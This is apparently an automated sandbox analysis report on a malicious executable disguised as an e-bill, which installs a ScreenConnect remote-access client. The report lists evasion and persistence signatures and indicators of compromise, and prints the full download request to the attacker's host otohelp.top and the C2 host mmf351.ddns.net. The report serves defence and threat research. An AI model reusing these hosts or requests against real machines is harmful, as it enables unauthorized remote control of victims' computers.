Windows Analysis Report
E_BILL9926378035.exe

Overview

General Information

Sample name: E_BILL9926378035.exe
Analysis ID: 1523877
MD5: e0c83c9251ad547a2cc04812b2122ba7
SHA1: bbafcaa8f7c38194c96762775ed219273e98b474
SHA256: cfcbe98c7ff89685993e3ac70e3663989e730116c766373011a0d425fded3a84
Tags: exefiledn-comuser-JAMESWT_MHT
Infos:

Detection

ScreenConnect Tool
Score: 69
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Compliance

Score: 33
Range: 0 - 100

Signatures

Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
.NET source code references suspicious native API functions
AI detected suspicious sample
Contains functionality to hide user accounts
Deletes keys which are related to windows safe boot (disables safe mode boot)
Enables network access during safeboot for specific services
Initial sample is a PE file and has a suspicious name
Reads the Security eventlog
Reads the System eventlog
Uses dynamic DNS services
AV process strings found (often used to terminate AV products)
Adds / modifies Windows certificates
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates or modifies windows services
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Drops certificate files (DER)
EXE planting / hijacking vulnerabilities found
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Launches processes in debugging mode, may be used to hinder debugging
May sleep (evasive loops) to hinder dynamic analysis
May use bcdedit to modify the Windows boot settings
Modifies existing windows services
One or more processes crash
PE file contains an invalid checksum
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports
Stores large binary data to the registry
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected ScreenConnect Tool

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: E_BILL9926378035.exe ReversingLabs: Detection: 18%
Source: E_BILL9926378035.exe Virustotal: Detection: 14% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 86.9% probability
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\E_BILL9926378035.exe Code function: 0_2_00EF1000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_00EF1000
EXE planting / hijacking vulnerabilities found
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe Jump to behavior

Compliance
barindex
EXE planting / hijacking vulnerabilities found
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe EXE: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe Jump to behavior
Uses 32bit PE files
Source: E_BILL9926378035.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: E_BILL9926378035.exe Static PE information: certificate valid
Source: unknown HTTPS traffic detected: 79.110.49.16:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: E_BILL9926378035.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B60C8000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D5E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1933686059.0000000002CF2000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: E_BILL9926378035.exe
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D5A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B60C4000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.1932338060.0000000004EF2000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.WindowsClient.exe, 0000000C.00000002.1990094462.0000000002641000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000C.00000002.1989776192.0000000000C20000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbe source: ScreenConnect.WindowsClient.exe, 00000009.00000000.1916214053.0000000000AC2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 0000000A.00000000.1921269571.0000000000C9D000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B60C0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D56000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1935970610.000000001BD52000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000009.00000000.1916214053.0000000000AC2000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbW] source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B60C0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D56000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1935970610.000000001BD52000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B60E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B60C8000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D5E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.1933686059.0000000002CF2000.00000002.00000001.01000000.00000011.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.2591740664.000001F6B5D4E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000A.00000002.1932439482.0000000004FA2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\Local\Apps\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Users\user\ Jump to behavior

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.4:49760
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.4:49748
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.4:49745
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.4:49759
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.4:49757
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.4:49762
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.4:49763
Source: Network traffic Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 79.110.49.16:443 -> 192.168.2.4:49756
Enables network access during safeboot for specific services
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Registry value created: NULL Service
Uses dynamic DNS services
Source: unknown DNS query: name: mmf351.ddns.net
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:56641 -> 79.110.49.16:8041
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&s=89e470af-f42d-4b2f-ad1d-717711c7c76a&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session HTTP/1.1Host: otohelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 79.110.49.16 79.110.49.16
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: OTAVANET-ASCZ OTAVANET-ASCZ
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=mmf351.ddns.net&p=8041&s=89e470af-f42d-4b2f-ad1d-717711c7c76a&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session HTTP/1.1Host: otohelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: otohelp.topAccept-Encoding: gzip
Source: global traffic DNS traffic detected: DNS query: otohelp.top
Source: global traffic DNS traffic detected: DNS query: mmf351.ddns.net
Source: E_BILL9926378035.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: C56C4404C4DEF0DC88E5FCD9F09CB2F10.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt
Source: E_BILL9926378035.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: E_BILL9926378035.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: dfsvc.exe, 00000001.00000002.2608461337.000001F6D0790000.00000004.00000020.00020000.00000000.sdmp, F2E248BEDDBB2D85122423C41028BFD4.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
Source: E_BILL9926378035.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: svchost.exe, 00000005.00000002.2946009989.0000023333061000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.ver)
Source: E_BILL9926378035.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: E_BILL9926378035.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: E_BILL9926378035.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: E_BILL9926378035.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: dfsvc.exe, 00000001.00000002.2608461337.000001F6D0790000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab7
Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD4157.1.dr String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: dfsvc.exe, 00000001.00000002.2602490344.000001F6CE6B7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?c097510
Source: dfsvc.exe, 00000001.00000002.2608300536.000001F6D077A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enn
Source: svchost.exe, 00000005.00000003.1709894416.0000023332E98000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.5.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.5.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.5.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000005.00000003.1709894416.0000023332E98000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000005.00000003.1709894416.0000023332E98000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000005.00000003.1709894416.0000023332ECD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.5.dr String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F1410.1.dr String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxX
Source: E_BILL9926378035.exe, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr, ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr String found in binary or memory: http://ocsp.digicert.com0
